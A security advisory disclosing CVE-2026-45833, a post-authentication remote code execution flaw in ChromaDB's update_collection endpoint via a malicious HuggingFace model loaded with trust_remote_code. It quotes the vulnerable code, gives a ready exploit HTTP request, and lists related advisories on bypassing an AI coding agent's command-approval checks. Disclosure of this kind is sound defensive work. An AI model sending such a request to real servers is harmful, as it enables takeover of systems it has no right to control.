Post-Authentication RCE via update_collection
June 12, 2026

CVE Number
CVE-2026-45833
Summary
Any authenticated user with UPDATE_COLLECTION permission can achieve remote code execution by updating a collection's embedding function to reference a malicious HuggingFace model with trust_remote_code: true. Authentication runs before model loading, so this is not a pre-authentication issue, but the model instantiation itself is unguarded.
Products Impacted
This vulnerability affects ChromaDB versions from 0.4.17 to the latest Python release.
CVSS Score: 9.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE Categorization
CWE-94: Improper Control of Generation of Code (‘Code Injection’)
Details
In the V2 API the update_collection function (chromadb/server/fastapi/__init__.py:883-919):
def process_update_collection(
request: Request, collection_id: str, raw_body: bytes
) -> None:
update = validate_model(UpdateCollection, orjson.loads(raw_body))
self.sync_auth_request(
request.headers,
AuthzAction.UPDATE_COLLECTION,
tenant, database_name, collection_id,
)
configuration = (
None
if not update.new_configuration
else load_update_collection_configuration_from_json(
update.new_configuration # Dangerous code path
)
)
The load_update_collection_configuration_from_json() function (chromadb/api/collection_configuration.py:605-633) calls the identical build_from_config() method that the create_collection path uses:
if json_map.get("embedding_function") is not None:
# ...
ef = known_embedding_functions[json_map["embedding_function"]["name"]]
result["embedding_function"] = ef.build_from_config(
json_map["embedding_function"]["config"] # Model instantiation
)
This means trust_remote_code=True and a malicious model_name work identically through update_collection. The V1 variant at __init__.py:1920-1959 follows the same pattern: auth check at line 1932, config loading at line 1939-1944.
Exploit request, requires UPDATE_COLLECTION permission:
PUT /api/v2/tenants/default_tenant/databases/default_database/collections/{collection_id} HTTP/1.1
Authorization: Bearer <valid-token>
Content-Type: application/json
{
"new_configuration": {
"embedding_function": {
"name": "sentence_transformer",
"type": "known",
"config": {
"model_name": "attacker-org/backdoored-model",
"device": "cpu",
"normalize_embeddings": false,
"kwargs": {"trust_remote_code": true}
}
}
}
}
Timeline
- February 17th, 2026 - Initial disclosure to ChromaDB per their security page https://www.trychroma.com/security.
- February 24th, 2026 - Attempted follow up through other trychroma emails.
- March 5th, 2026 - Attempted contact through IT-ISAC.
- April 16th, 2026 - Attempted final follow up through all previous channels and social media.
- May 18th, 2026 - Publicly disclosed a first vulnerability, no response from the vendor.
Project URL:
https://github.com/chroma-core/chroma/
RESEARCHER: Esteban Tonglet, Security Researcher, HiddenLayer
Related SAI Security Advisory
September 11, 2026
_READ_ONLY_COMMANDS_POSIX expansion adds 31 commands with no path checking, granting unconditional access to the full host filesystem
Mistral Vibe automatically approves a large set of commands that are not subject to the expected workspace path restrictions, allowing files anywhere on the host to be accessed without user approval.
September 11, 2026
Environment variable prefixes stripped from permission check enable RCE via env injection
Mistral Vibe does not consider environment variable assignments when checking whether a command can run without approval, allowing environment controlled behavior in allowlisted programs such as Git to be abused for arbitrary code execution.